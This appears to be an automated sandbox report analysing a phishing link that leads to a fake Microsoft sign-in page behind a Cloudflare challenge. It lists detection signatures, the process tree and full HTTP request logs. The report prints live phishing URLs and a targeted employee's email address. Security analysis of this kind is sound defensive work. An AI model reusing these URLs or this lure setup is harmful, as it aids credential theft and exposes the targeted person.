Edit tour

Windows Analysis Report
https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20=

Overview

General Information

Sample URL:	https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20=
Analysis ID:	1523392
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

HTML page contains hidden URLs

Phishing site detected (based on favicon image match)

Phishing site or detected (based on various text indicators)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6876 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7100 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1856,i,9850766657152717928,4042590119309119536,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3020 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20=" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
3.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6*tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1Vu*gxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com

LLM: Score: 7 Reasons: The URL 'gtekuvvait.com' does not match the legitimate domain 'holland.com'., The domain 'gtekuvvait.com' contains no recognizable association with the brand 'Holland'., The presence of a password input field on an unrecognized domain is suspicious., The domain name 'gtekuvvait.com' appears random and does not follow typical naming conventions for legitimate brand domains. DOM: 3.6.pages.csv

Yara detected HtmlPhish10

Source: Yara match

File source: 3.6.pages.csv, type: HTML

HTML page contains hidden URLs

Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6*tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1Vu*gxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com

HTTP Parser: https://gtekuvvait.com/zuprivater/Xdrrwwipj/admin/lifeattach

Phishing site detected (based on favicon image match)

Source: https://gtekuvvait.com	Matcher: Template: microsoft matched with high similarity
Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com	Matcher: Template: microsoft matched with high similarity

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 3.4

OCR Text: Verifying v.. CLOUDFLARE Ten-rs Microsoft

Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6*tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1Vu*gxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com

HTTP Parser: Number of links: 0

Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6*tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1Vu*gxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://gtekuvvait.com/zuprivater/Xdrrwwipj/#jsalas@hollandco.com

HTTP Parser: Base64 decoded: 1727788085.000000

Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6*tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1Vu*gxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6*tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1Vu*gxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com

HTTP Parser: <input type="password" .../> found

Source: https://gtekuvvait.com/zuprivater/Xdrrwwipj/#jsalas@hollandco.com

HTTP Parser: No favicon

Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com	HTTP Parser: No <meta name="author".. found
Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com	HTTP Parser: No <meta name="author".. found
Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com	HTTP Parser: No <meta name="author".. found

Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com	HTTP Parser: No <meta name="copyright".. found
Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com	HTTP Parser: No <meta name="copyright".. found
Source: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y#jsalas@hollandco.com	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49791 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86

Source: global traffic	HTTP traffic detected: GET /viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20= HTTP/1.1Host: vwkugoia0yciq0buttompanj2.ntvultra.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /zuprivater/Xdrrwwipj/ HTTP/1.1Host: gtekuvvait.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://vwkugoia0yciq0buttompanj2.ntvultra.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zuprivater/Xdrrwwipj/ HTTP/1.1Host: gtekuvvait.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://gtekuvvait.com/zuprivater/Xdrrwwipj/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: gtekuvvait.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://gtekuvvait.com/zuprivater/Xdrrwwipj/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: gtekuvvait.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.6.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.6.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1Host: gtekuvvait.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1Host: gtekuvvait.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://gtekuvvait.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3y3cV+h8BYDcf34&MD=uZvYf9+9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cbcae183e2342bd&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/q67wf/0x4AAAAAAAjFTHkBsyQ923ny/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/jsd/r/8cbcadf6bd494332 HTTP/1.1Host: gtekuvvait.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cbcae183e2342bd&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1936952244:1727784984:kbwdMmMBzX1uE3HA9HIxeqn9rzz7DcMQ_TnkGyMAQ9E/8cbcae183e2342bd/063d5b8f5340141 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
